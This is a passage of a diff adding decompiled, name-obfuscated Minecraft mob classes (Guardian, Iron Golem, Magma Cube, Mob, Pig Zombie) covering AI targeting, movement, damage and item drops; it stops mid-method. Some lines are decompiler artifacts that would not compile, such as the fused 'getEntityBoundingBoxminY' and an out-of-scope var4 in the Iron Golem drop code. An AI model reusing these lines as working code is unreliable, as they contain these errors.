+        var3.attackEntityFrom(DamageSource.causeThornsDamage(this), 2.0F);
+        var3.playSound("damage.thorns", 0.5F, 1.0F);
+      }
+    }
+    
+    field_175481_bq.func_179480_f();
+    return super.attackEntityFrom(source, amount);
+  }
+  
+
+
+
+
+  public int getVerticalFaceSpeed()
+  {
+    return 180;
+  }
+  
+
+
+
+  public void moveEntityWithHeading(float p_70612_1_, float p_70612_2_)
+  {
+    if (isServerWorld())
+    {
+      if (isInWater())
+      {
+        moveFlying(p_70612_1_, p_70612_2_, 0.1F);
+        moveEntity(motionX, motionY, motionZ);
+        motionX *= 0.8999999761581421D;
+        motionY *= 0.8999999761581421D;
+        motionZ *= 0.8999999761581421D;
+        
+        if ((!func_175472_n()) && (getAttackTarget() == null))
+        {
+          motionY -= 0.005D;
+        }
+      }
+      else
+      {
+        super.moveEntityWithHeading(p_70612_1_, p_70612_2_);
+      }
+      
+    }
+    else {
+      super.moveEntityWithHeading(p_70612_1_, p_70612_2_);
+    }
+  }
+  
+  class AIGuardianAttack extends EntityAIBase
+  {
+    private EntityGuardian field_179456_a = EntityGuardian.this;
+    private int field_179455_b;
+    private static final String __OBFID = "CL_00002211";
+    
+    public AIGuardianAttack()
+    {
+      setMutexBits(3);
+    }
+    
+    public boolean shouldExecute()
+    {
+      EntityLivingBase var1 = field_179456_a.getAttackTarget();
+      return (var1 != null) && (var1.isEntityAlive());
+    }
+    
+    public boolean continueExecuting()
+    {
+      return (super.continueExecuting()) && ((field_179456_a.func_175461_cl()) || (field_179456_a.getDistanceSqToEntity(field_179456_a.getAttackTarget()) > 9.0D));
+    }
+    
+    public void startExecuting()
+    {
+      field_179455_b = -10;
+      field_179456_a.getNavigator().clearPathEntity();
+      field_179456_a.getLookHelper().setLookPositionWithEntity(field_179456_a.getAttackTarget(), 90.0F, 90.0F);
+      field_179456_a.isAirBorne = true;
+    }
+    
+    public void resetTask()
+    {
+      field_179456_a.func_175463_b(0);
+      field_179456_a.setAttackTarget(null);
+      field_179456_a.field_175481_bq.func_179480_f();
+    }
+    
+    public void updateTask()
+    {
+      EntityLivingBase var1 = field_179456_a.getAttackTarget();
+      field_179456_a.getNavigator().clearPathEntity();
+      field_179456_a.getLookHelper().setLookPositionWithEntity(var1, 90.0F, 90.0F);
+      
+      if (!field_179456_a.canEntityBeSeen(var1))
+      {
+        field_179456_a.setAttackTarget(null);
+      }
+      else
+      {
+        field_179455_b += 1;
+        
+        if (field_179455_b == 0)
+        {
+          field_179456_a.func_175463_b(field_179456_a.getAttackTarget().getEntityId());
+          field_179456_a.worldObj.setEntityState(field_179456_a, (byte)21);
+        }
+        else if (field_179455_b >= field_179456_a.func_175464_ck())
+        {
+          float var2 = 1.0F;
+          
+          if (field_179456_a.worldObj.getDifficulty() == EnumDifficulty.HARD)
+          {
+            var2 += 2.0F;
+          }
+          
+          if (field_179456_a.func_175461_cl())
+          {
+            var2 += 2.0F;
+          }
+          
+          var1.attackEntityFrom(DamageSource.causeIndirectMagicDamage(field_179456_a, field_179456_a), var2);
+          var1.attackEntityFrom(DamageSource.causeMobDamage(field_179456_a), (float)field_179456_a.getEntityAttribute(SharedMonsterAttributes.attackDamage).getAttributeValue());
+          field_179456_a.setAttackTarget(null);
+        }
+        else if ((field_179455_b < 60) || (field_179455_b % 20 != 0)) {}
+        
+
+
+
+        super.updateTask();
+      }
+    }
+  }
+  
+  class GuardianMoveHelper extends EntityMoveHelper
+  {
+    private EntityGuardian field_179930_g = EntityGuardian.this;
+    private static final String __OBFID = "CL_00002209";
+    
+    public GuardianMoveHelper()
+    {
+      super();
+    }
+    
+    public void onUpdateMoveHelper()
+    {
+      if ((update) && (!field_179930_g.getNavigator().noPath()))
+      {
+        double var1 = posX - field_179930_g.posX;
+        double var3 = posY - field_179930_g.posY;
+        double var5 = posZ - field_179930_g.posZ;
+        double var7 = var1 * var1 + var3 * var3 + var5 * var5;
+        var7 = net.minecraft.util.MathHelper.sqrt_double(var7);
+        var3 /= var7;
+        float var9 = (float)(Math.atan2(var5, var1) * 180.0D / 3.141592653589793D) - 90.0F;
+        field_179930_g.rotationYaw = limitAngle(field_179930_g.rotationYaw, var9, 30.0F);
+        field_179930_g.renderYawOffset = field_179930_g.rotationYaw;
+        float var10 = (float)(speed * field_179930_g.getEntityAttribute(SharedMonsterAttributes.movementSpeed).getAttributeValue());
+        field_179930_g.setAIMoveSpeed(field_179930_g.getAIMoveSpeed() + (var10 - field_179930_g.getAIMoveSpeed()) * 0.125F);
+        double var11 = Math.sin((field_179930_g.ticksExisted + field_179930_g.getEntityId()) * 0.5D) * 0.05D;
+        double var13 = Math.cos(field_179930_g.rotationYaw * 3.1415927F / 180.0F);
+        double var15 = Math.sin(field_179930_g.rotationYaw * 3.1415927F / 180.0F);
+        field_179930_g.motionX += var11 * var13;
+        field_179930_g.motionZ += var11 * var15;
+        var11 = Math.sin((field_179930_g.ticksExisted + field_179930_g.getEntityId()) * 0.75D) * 0.05D;
+        field_179930_g.motionY += var11 * (var15 + var13) * 0.25D;
+        field_179930_g.motionY += field_179930_g.getAIMoveSpeed() * var3 * 0.1D;
+        EntityLookHelper var17 = field_179930_g.getLookHelper();
+        double var18 = field_179930_g.posX + var1 / var7 * 2.0D;
+        double var20 = field_179930_g.getEyeHeight() + field_179930_g.posY + var3 / var7 * 1.0D;
+        double var22 = field_179930_g.posZ + var5 / var7 * 2.0D;
+        double var24 = var17.func_180423_e();
+        double var26 = var17.func_180422_f();
+        double var28 = var17.func_180421_g();
+        
+        if (!var17.func_180424_b())
+        {
+          var24 = var18;
+          var26 = var20;
+          var28 = var22;
+        }
+        
+        field_179930_g.getLookHelper().setLookPosition(var24 + (var18 - var24) * 0.125D, var26 + (var20 - var26) * 0.125D, var28 + (var22 - var28) * 0.125D, 10.0F, 40.0F);
+        field_179930_g.func_175476_l(true);
+      }
+      else
+      {
+        field_179930_g.setAIMoveSpeed(0.0F);
+        field_179930_g.func_175476_l(false);
+      }
+    }
+  }
+  
+  class GuardianTargetSelector implements Predicate
+  {
+    private EntityGuardian field_179916_a = EntityGuardian.this;
+    private static final String __OBFID = "CL_00002210";
+    
+    GuardianTargetSelector() {}
+    
+    public boolean func_179915_a(EntityLivingBase p_179915_1_) { return (((p_179915_1_ instanceof EntityPlayer)) || ((p_179915_1_ instanceof EntitySquid))) && (p_179915_1_.getDistanceSqToEntity(field_179916_a) > 9.0D); }
+    
+
+    public boolean apply(Object p_apply_1_)
+    {
+      return func_179915_a((EntityLivingBase)p_apply_1_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/monster/EntityIronGolem.java b/src/minecraft/net/minecraft/entity/monster/EntityIronGolem.java
new file mode 100644
index 0000000..57f6d60
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/monster/EntityIronGolem.java
@@ -0,0 +1,362 @@
+package net.minecraft.entity.monster;
+
+import com.google.common.base.Predicate;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockFlower.EnumFlowerType;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIAttackOnCollide;
+import net.minecraft.entity.ai.EntityAILookAtVillager;
+import net.minecraft.entity.ai.EntityAIMoveThroughVillage;
+import net.minecraft.entity.ai.EntityAIMoveTowardsRestriction;
+import net.minecraft.entity.ai.EntityAIMoveTowardsTarget;
+import net.minecraft.entity.ai.EntityAINearestAttackableTarget;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.EntityAIWander;
+import net.minecraft.entity.ai.EntityAIWatchClosest;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.pathfinding.PathNavigateGround;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MathHelper;
+import net.minecraft.village.Village;
+import net.minecraft.world.World;
+
+public class EntityIronGolem extends EntityGolem
+{
+  private int homeCheckTimer;
+  Village villageObj;
+  private int attackTimer;
+  private int holdRoseTick;
+  private static final String __OBFID = "CL_00001652";
+  
+  public EntityIronGolem(World worldIn)
+  {
+    super(worldIn);
+    setSize(1.4F, 2.9F);
+    ((PathNavigateGround)getNavigator()).func_179690_a(true);
+    tasks.addTask(1, new EntityAIAttackOnCollide(this, 1.0D, true));
+    tasks.addTask(2, new EntityAIMoveTowardsTarget(this, 0.9D, 32.0F));
+    tasks.addTask(3, new EntityAIMoveThroughVillage(this, 0.6D, true));
+    tasks.addTask(4, new EntityAIMoveTowardsRestriction(this, 1.0D));
+    tasks.addTask(5, new EntityAILookAtVillager(this));
+    tasks.addTask(6, new EntityAIWander(this, 0.6D));
+    tasks.addTask(7, new EntityAIWatchClosest(this, EntityPlayer.class, 6.0F));
+    tasks.addTask(8, new net.minecraft.entity.ai.EntityAILookIdle(this));
+    targetTasks.addTask(1, new net.minecraft.entity.ai.EntityAIDefendVillage(this));
+    targetTasks.addTask(2, new net.minecraft.entity.ai.EntityAIHurtByTarget(this, false, new Class[0]));
+    targetTasks.addTask(3, new AINearestAttackableTargetNonCreeper(this, EntityLiving.class, 10, false, true, IMob.field_175450_e));
+  }
+  
+  protected void entityInit()
+  {
+    super.entityInit();
+    dataWatcher.addObject(16, Byte.valueOf((byte)0));
+  }
+  
+  protected void updateAITasks()
+  {
+    if (--homeCheckTimer <= 0)
+    {
+      homeCheckTimer = (70 + rand.nextInt(50));
+      villageObj = worldObj.getVillageCollection().func_176056_a(new BlockPos(this), 32);
+      
+      if (villageObj == null)
+      {
+        detachHome();
+      }
+      else
+      {
+        BlockPos var1 = villageObj.func_180608_a();
+        func_175449_a(var1, (int)(villageObj.getVillageRadius() * 0.6F));
+      }
+    }
+    
+    super.updateAITasks();
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(100.0D);
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.25D);
+  }
+  
+
+
+
+  protected int decreaseAirSupply(int p_70682_1_)
+  {
+    return p_70682_1_;
+  }
+  
+  protected void collideWithEntity(Entity p_82167_1_)
+  {
+    if (((p_82167_1_ instanceof IMob)) && (getRNG().nextInt(20) == 0))
+    {
+      setAttackTarget((EntityLivingBase)p_82167_1_);
+    }
+    
+    super.collideWithEntity(p_82167_1_);
+  }
+  
+
+
+
+
+  public void onLivingUpdate()
+  {
+    super.onLivingUpdate();
+    
+    if (attackTimer > 0)
+    {
+      attackTimer -= 1;
+    }
+    
+    if (holdRoseTick > 0)
+    {
+      holdRoseTick -= 1;
+    }
+    
+    if ((motionX * motionX + motionZ * motionZ > 2.500000277905201E-7D) && (rand.nextInt(5) == 0))
+    {
+      int var1 = MathHelper.floor_double(posX);
+      int var2 = MathHelper.floor_double(posY - 0.20000000298023224D);
+      int var3 = MathHelper.floor_double(posZ);
+      IBlockState var4 = worldObj.getBlockState(new BlockPos(var1, var2, var3));
+      Block var5 = var4.getBlock();
+      
+      if (var5.getMaterial() != Material.air)
+      {
+        worldObj.spawnParticle(EnumParticleTypes.BLOCK_CRACK, posX + (rand.nextFloat() - 0.5D) * width, getEntityBoundingBoxminY + 0.1D, posZ + (rand.nextFloat() - 0.5D) * width, 4.0D * (rand.nextFloat() - 0.5D), 0.5D, (rand.nextFloat() - 0.5D) * 4.0D, new int[] { Block.getStateId(var4) });
+      }
+    }
+  }
+  
+
+
+
+  public boolean canAttackClass(Class p_70686_1_)
+  {
+    return (isPlayerCreated()) && (EntityPlayer.class.isAssignableFrom(p_70686_1_)) ? false : super.canAttackClass(p_70686_1_);
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setBoolean("PlayerCreated", isPlayerCreated());
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    setPlayerCreated(tagCompund.getBoolean("PlayerCreated"));
+  }
+  
+  public boolean attackEntityAsMob(Entity p_70652_1_)
+  {
+    attackTimer = 10;
+    worldObj.setEntityState(this, (byte)4);
+    boolean var2 = p_70652_1_.attackEntityFrom(DamageSource.causeMobDamage(this), 7 + rand.nextInt(15));
+    
+    if (var2)
+    {
+      motionY += 0.4000000059604645D;
+      func_174815_a(this, p_70652_1_);
+    }
+    
+    playSound("mob.irongolem.throw", 1.0F, 1.0F);
+    return var2;
+  }
+  
+  public void handleHealthUpdate(byte p_70103_1_)
+  {
+    if (p_70103_1_ == 4)
+    {
+      attackTimer = 10;
+      playSound("mob.irongolem.throw", 1.0F, 1.0F);
+    }
+    else if (p_70103_1_ == 11)
+    {
+      holdRoseTick = 400;
+    }
+    else
+    {
+      super.handleHealthUpdate(p_70103_1_);
+    }
+  }
+  
+  public Village getVillage()
+  {
+    return villageObj;
+  }
+  
+  public int getAttackTimer()
+  {
+    return attackTimer;
+  }
+  
+  public void setHoldingRose(boolean p_70851_1_)
+  {
+    holdRoseTick = (p_70851_1_ ? 400 : 0);
+    worldObj.setEntityState(this, (byte)11);
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return "mob.irongolem.hit";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "mob.irongolem.death";
+  }
+  
+  protected void func_180429_a(BlockPos p_180429_1_, Block p_180429_2_)
+  {
+    playSound("mob.irongolem.walk", 1.0F, 1.0F);
+  }
+  
+
+
+
+  protected void dropFewItems(boolean p_70628_1_, int p_70628_2_)
+  {
+    int var3 = rand.nextInt(3);
+    
+
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      dropItemWithOffset(Item.getItemFromBlock(net.minecraft.init.Blocks.red_flower), 1, BlockFlower.EnumFlowerType.POPPY.func_176968_b());
+    }
+    
+    var4 = 3 + rand.nextInt(3);
+    
+    for (int var5 = 0; var5 < var4; var5++)
+    {
+      dropItem(Items.iron_ingot, 1);
+    }
+  }
+  
+  public int getHoldRoseTick()
+  {
+    return holdRoseTick;
+  }
+  
+  public boolean isPlayerCreated()
+  {
+    return (dataWatcher.getWatchableObjectByte(16) & 0x1) != 0;
+  }
+  
+  public void setPlayerCreated(boolean p_70849_1_)
+  {
+    byte var2 = dataWatcher.getWatchableObjectByte(16);
+    
+    if (p_70849_1_)
+    {
+      dataWatcher.updateObject(16, Byte.valueOf((byte)(var2 | 0x1)));
+    }
+    else
+    {
+      dataWatcher.updateObject(16, Byte.valueOf((byte)(var2 & 0xFFFFFFFE)));
+    }
+  }
+  
+
+
+
+  public void onDeath(DamageSource cause)
+  {
+    if ((!isPlayerCreated()) && (attackingPlayer != null) && (villageObj != null))
+    {
+      villageObj.setReputationForPlayer(attackingPlayer.getName(), -5);
+    }
+    
+    super.onDeath(cause);
+  }
+  
+  static class AINearestAttackableTargetNonCreeper extends EntityAINearestAttackableTarget
+  {
+    private static final String __OBFID = "CL_00002231";
+    
+    public AINearestAttackableTargetNonCreeper(final EntityCreature p_i45858_1_, Class p_i45858_2_, int p_i45858_3_, boolean p_i45858_4_, boolean p_i45858_5_, final Predicate p_i45858_6_)
+    {
+      super(p_i45858_2_, p_i45858_3_, p_i45858_4_, p_i45858_5_, p_i45858_6_);
+      targetEntitySelector = new Predicate()
+      {
+        private static final String __OBFID = "CL_00002230";
+        
+        public boolean func_180096_a(EntityLivingBase p_180096_1_) {
+          if ((p_i45858_6_ != null) && (!p_i45858_6_.apply(p_180096_1_)))
+          {
+            return false;
+          }
+          if ((p_180096_1_ instanceof EntityCreeper))
+          {
+            return false;
+          }
+          
+
+          if ((p_180096_1_ instanceof EntityPlayer))
+          {
+            double var2 = getTargetDistance();
+            
+            if (p_180096_1_.isSneaking())
+            {
+              var2 *= 0.800000011920929D;
+            }
+            
+            if (p_180096_1_.isInvisible())
+            {
+              float var4 = ((EntityPlayer)p_180096_1_).getArmorVisibility();
+              
+              if (var4 < 0.1F)
+              {
+                var4 = 0.1F;
+              }
+              
+              var2 *= 0.7F * var4;
+            }
+            
+            if (p_180096_1_.getDistanceToEntity(p_i45858_1_) > var2)
+            {
+              return false;
+            }
+          }
+          
+          return isSuitableTarget(p_180096_1_, false);
+        }
+        
+        public boolean apply(Object p_apply_1_)
+        {
+          return func_180096_a((EntityLivingBase)p_apply_1_);
+        }
+      };
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/monster/EntityMagmaCube.java b/src/minecraft/net/minecraft/entity/monster/EntityMagmaCube.java
new file mode 100644
index 0000000..43ba584
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/monster/EntityMagmaCube.java
@@ -0,0 +1,170 @@
+package net.minecraft.entity.monster;
+
+import java.util.Random;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.world.World;
+
+public class EntityMagmaCube extends EntitySlime
+{
+  private static final String __OBFID = "CL_00001691";
+  
+  public EntityMagmaCube(World worldIn)
+  {
+    super(worldIn);
+    isImmuneToFire = true;
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.20000000298023224D);
+  }
+  
+
+
+
+  public boolean getCanSpawnHere()
+  {
+    return worldObj.getDifficulty() != net.minecraft.world.EnumDifficulty.PEACEFUL;
+  }
+  
+
+
+
+  public boolean handleLavaMovement()
+  {
+    return (worldObj.checkNoEntityCollision(getEntityBoundingBox(), this)) && (worldObj.getCollidingBoundingBoxes(this, getEntityBoundingBox()).isEmpty()) && (!worldObj.isAnyLiquid(getEntityBoundingBox()));
+  }
+  
+
+
+
+  public int getTotalArmorValue()
+  {
+    return getSlimeSize() * 3;
+  }
+  
+  public int getBrightnessForRender(float p_70070_1_)
+  {
+    return 15728880;
+  }
+  
+
+
+
+  public float getBrightness(float p_70013_1_)
+  {
+    return 1.0F;
+  }
+  
+  protected EnumParticleTypes func_180487_n()
+  {
+    return EnumParticleTypes.FLAME;
+  }
+  
+  protected EntitySlime createInstance()
+  {
+    return new EntityMagmaCube(worldObj);
+  }
+  
+  protected Item getDropItem()
+  {
+    return Items.magma_cream;
+  }
+  
+
+
+
+  protected void dropFewItems(boolean p_70628_1_, int p_70628_2_)
+  {
+    Item var3 = getDropItem();
+    
+    if ((var3 != null) && (getSlimeSize() > 1))
+    {
+      int var4 = rand.nextInt(4) - 2;
+      
+      if (p_70628_2_ > 0)
+      {
+        var4 += rand.nextInt(p_70628_2_ + 1);
+      }
+      
+      for (int var5 = 0; var5 < var4; var5++)
+      {
+        dropItem(var3, 1);
+      }
+    }
+  }
+  
+
+
+
+  public boolean isBurning()
+  {
+    return false;
+  }
+  
+
+
+
+  protected int getJumpDelay()
+  {
+    return super.getJumpDelay() * 4;
+  }
+  
+  protected void alterSquishAmount()
+  {
+    squishAmount *= 0.9F;
+  }
+  
+
+
+
+  protected void jump()
+  {
+    motionY = (0.42F + getSlimeSize() * 0.1F);
+    isAirBorne = true;
+  }
+  
+  protected void func_180466_bG()
+  {
+    motionY = (0.22F + getSlimeSize() * 0.05F);
+    isAirBorne = true;
+  }
+  
+
+
+  public void fall(float distance, float damageMultiplier) {}
+  
+
+  protected boolean canDamagePlayer()
+  {
+    return true;
+  }
+  
+
+
+
+  protected int getAttackStrength()
+  {
+    return super.getAttackStrength() + 2;
+  }
+  
+
+
+
+  protected String getJumpSound()
+  {
+    return getSlimeSize() > 1 ? "mob.magmacube.big" : "mob.magmacube.small";
+  }
+  
+
+
+
+  protected boolean makesSoundOnLand()
+  {
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/monster/EntityMob.java b/src/minecraft/net/minecraft/entity/monster/EntityMob.java
new file mode 100644
index 0000000..c214e1d
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/monster/EntityMob.java
@@ -0,0 +1,217 @@
+package net.minecraft.entity.monster;
+
+import java.util.Random;
+import net.minecraft.enchantment.EnchantmentHelper;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIAvoidEntity;
+import net.minecraft.entity.ai.attributes.BaseAttributeMap;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.EnumDifficulty;
+import net.minecraft.world.World;
+
+public abstract class EntityMob extends EntityCreature implements IMob
+{
+  protected final net.minecraft.entity.ai.EntityAIBase field_175455_a = new EntityAIAvoidEntity(this, new com.google.common.base.Predicate()
+  {
+    private static final String __OBFID = "CL_00002208";
+    
+    public boolean func_179911_a(Entity p_179911_1_) {
+      return ((p_179911_1_ instanceof EntityCreeper)) && (((EntityCreeper)p_179911_1_).getCreeperState() > 0);
+    }
+    
+    public boolean apply(Object p_apply_1_) {
+      return func_179911_a((Entity)p_apply_1_);
+    }
+  }, 
+  
+
+
+
+
+
+
+
+
+
+    4.0F, 1.0D, 2.0D);
+  private static final String __OBFID = "CL_00001692";
+  
+  public EntityMob(World worldIn)
+  {
+    super(worldIn);
+    experienceValue = 5;
+  }
+  
+
+
+
+
+  public void onLivingUpdate()
+  {
+    updateArmSwingProgress();
+    float var1 = getBrightness(1.0F);
+    
+    if (var1 > 0.5F)
+    {
+      entityAge += 2;
+    }
+    
+    super.onLivingUpdate();
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    super.onUpdate();
+    
+    if ((!worldObj.isRemote) && (worldObj.getDifficulty() == EnumDifficulty.PEACEFUL))
+    {
+      setDead();
+    }
+  }
+  
+  protected String getSwimSound()
+  {
+    return "game.hostile.swim";
+  }
+  
+  protected String getSplashSound()
+  {
+    return "game.hostile.swim.splash";
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if (func_180431_b(source))
+    {
+      return false;
+    }
+    if (super.attackEntityFrom(source, amount))
+    {
+      Entity var3 = source.getEntity();
+      return (riddenByEntity != var3) && (ridingEntity != var3);
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+  protected String getHurtSound()
+  {
+    return "game.hostile.hurt";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "game.hostile.die";
+  }
+  
+  protected String func_146067_o(int p_146067_1_)
+  {
+    return p_146067_1_ > 4 ? "game.hostile.hurt.fall.big" : "game.hostile.hurt.fall.small";
+  }
+  
+  public boolean attackEntityAsMob(Entity p_70652_1_)
+  {
+    float var2 = (float)getEntityAttribute(SharedMonsterAttributes.attackDamage).getAttributeValue();
+    int var3 = 0;
+    
+    if ((p_70652_1_ instanceof EntityLivingBase))
+    {
+      var2 += EnchantmentHelper.func_152377_a(getHeldItem(), ((EntityLivingBase)p_70652_1_).getCreatureAttribute());
+      var3 += EnchantmentHelper.getRespiration(this);
+    }
+    
+    boolean var4 = p_70652_1_.attackEntityFrom(DamageSource.causeMobDamage(this), var2);
+    
+    if (var4)
+    {
+      if (var3 > 0)
+      {
+        p_70652_1_.addVelocity(-MathHelper.sin(rotationYaw * 3.1415927F / 180.0F) * var3 * 0.5F, 0.1D, MathHelper.cos(rotationYaw * 3.1415927F / 180.0F) * var3 * 0.5F);
+        motionX *= 0.6D;
+        motionZ *= 0.6D;
+      }
+      
+      int var5 = EnchantmentHelper.getFireAspectModifier(this);
+      
+      if (var5 > 0)
+      {
+        p_70652_1_.setFire(var5 * 4);
+      }
+      
+      func_174815_a(this, p_70652_1_);
+    }
+    
+    return var4;
+  }
+  
+  public float func_180484_a(BlockPos p_180484_1_)
+  {
+    return 0.5F - worldObj.getLightBrightness(p_180484_1_);
+  }
+  
+
+
+
+  protected boolean isValidLightLevel()
+  {
+    BlockPos var1 = new BlockPos(posX, getEntityBoundingBoxminY, posZ);
+    
+    if (worldObj.getLightFor(net.minecraft.world.EnumSkyBlock.SKY, var1) > rand.nextInt(32))
+    {
+      return false;
+    }
+    
+
+    int var2 = worldObj.getLightFromNeighbors(var1);
+    
+    if (worldObj.isThundering())
+    {
+      int var3 = worldObj.getSkylightSubtracted();
+      worldObj.setSkylightSubtracted(10);
+      var2 = worldObj.getLightFromNeighbors(var1);
+      worldObj.setSkylightSubtracted(var3);
+    }
+    
+    return var2 <= rand.nextInt(8);
+  }
+  
+
+
+
+
+  public boolean getCanSpawnHere()
+  {
+    return (worldObj.getDifficulty() != EnumDifficulty.PEACEFUL) && (isValidLightLevel()) && (super.getCanSpawnHere());
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getAttributeMap().registerAttribute(SharedMonsterAttributes.attackDamage);
+  }
+  
+  protected boolean func_146066_aG()
+  {
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/monster/EntityPigZombie.java b/src/minecraft/net/minecraft/entity/monster/EntityPigZombie.java
new file mode 100644
index 0000000..36d413f
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/monster/EntityPigZombie.java
@@ -0,0 +1,312 @@
+package net.minecraft.entity.monster;
+
+import java.util.Random;
+import java.util.UUID;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.IEntityLivingData;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIHurtByTarget;
+import net.minecraft.entity.ai.EntityAINearestAttackableTarget;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.attributes.AttributeModifier;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.DamageSource;
+import net.minecraft.world.DifficultyInstance;
+import net.minecraft.world.World;
+
+public class EntityPigZombie extends EntityZombie
+{
+  private static final UUID field_110189_bq = UUID.fromString("49455A49-7EC5-45BA-B886-3B90B23A1718");
+  private static final AttributeModifier field_110190_br = new AttributeModifier(field_110189_bq, "Attacking speed boost", 0.05D, 0).setSaved(false);
+  
+  private int angerLevel;
+  
+  private int randomSoundDelay;
+  
+  private UUID field_175459_bn;
+  
+  private static final String __OBFID = "CL_00001693";
+  
+  public EntityPigZombie(World worldIn)
+  {
+    super(worldIn);
+    isImmuneToFire = true;
+  }
+  
+  public void setRevengeTarget(EntityLivingBase p_70604_1_)
+  {
+    super.setRevengeTarget(p_70604_1_);
+    
+    if (p_70604_1_ != null)
+    {
+      field_175459_bn = p_70604_1_.getUniqueID();
+    }
+  }
+  
+  protected void func_175456_n()
+  {
+    targetTasks.addTask(1, new AIHurtByAggressor());
+    targetTasks.addTask(2, new AITargetAggressor());
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(field_110186_bp).setBaseValue(0.0D);
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.23000000417232513D);
+    getEntityAttribute(SharedMonsterAttributes.attackDamage).setBaseValue(5.0D);
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    super.onUpdate();
+  }
+  
+  protected void updateAITasks()
+  {
+    IAttributeInstance var1 = getEntityAttribute(SharedMonsterAttributes.movementSpeed);
+    
+    if (func_175457_ck())
+    {
+      if ((!isChild()) && (!var1.func_180374_a(field_110190_br)))
+      {
+        var1.applyModifier(field_110190_br);
+      }
+      
+      angerLevel -= 1;
+    }
+    else if (var1.func_180374_a(field_110190_br))
+    {
+      var1.removeModifier(field_110190_br);
+    }
+    
+    if ((randomSoundDelay > 0) && (--randomSoundDelay == 0))
+    {
+      playSound("mob.zombiepig.zpigangry", getSoundVolume() * 2.0F, ((rand.nextFloat() - rand.nextFloat()) * 0.2F + 1.0F) * 1.8F);
+    }
+    
+    if ((angerLevel > 0) && (field_175459_bn != null) && (getAITarget() == null))
+    {
+      EntityPlayer var2 = worldObj.getPlayerEntityByUUID(field_175459_bn);
+      setRevengeTarget(var2);
+      attackingPlayer = var2;
+      recentlyHit = getRevengeTimer();
+    }
+    
+    super.updateAITasks();
+  }
+  
+
+
+
+  public boolean getCanSpawnHere()
+  {
+    return worldObj.getDifficulty() != net.minecraft.world.EnumDifficulty.PEACEFUL;
+  }
+  
+
+
+
+  public boolean handleLavaMovement()
+  {
+    return (worldObj.checkNoEntityCollision(getEntityBoundingBox(), this)) && (worldObj.getCollidingBoundingBoxes(this, getEntityBoundingBox()).isEmpty()) && (!worldObj.isAnyLiquid(getEntityBoundingBox()));
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setShort("Anger", (short)angerLevel);
+    
+    if (field_175459_bn != null)
+    {
+      tagCompound.setString("HurtBy", field_175459_bn.toString());
+    }
+    else
+    {
+      tagCompound.setString("HurtBy", "");
+    }
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    angerLevel = tagCompund.getShort("Anger");
+    String var2 = tagCompund.getString("HurtBy");
+    
+    if (var2.length() > 0)
+    {
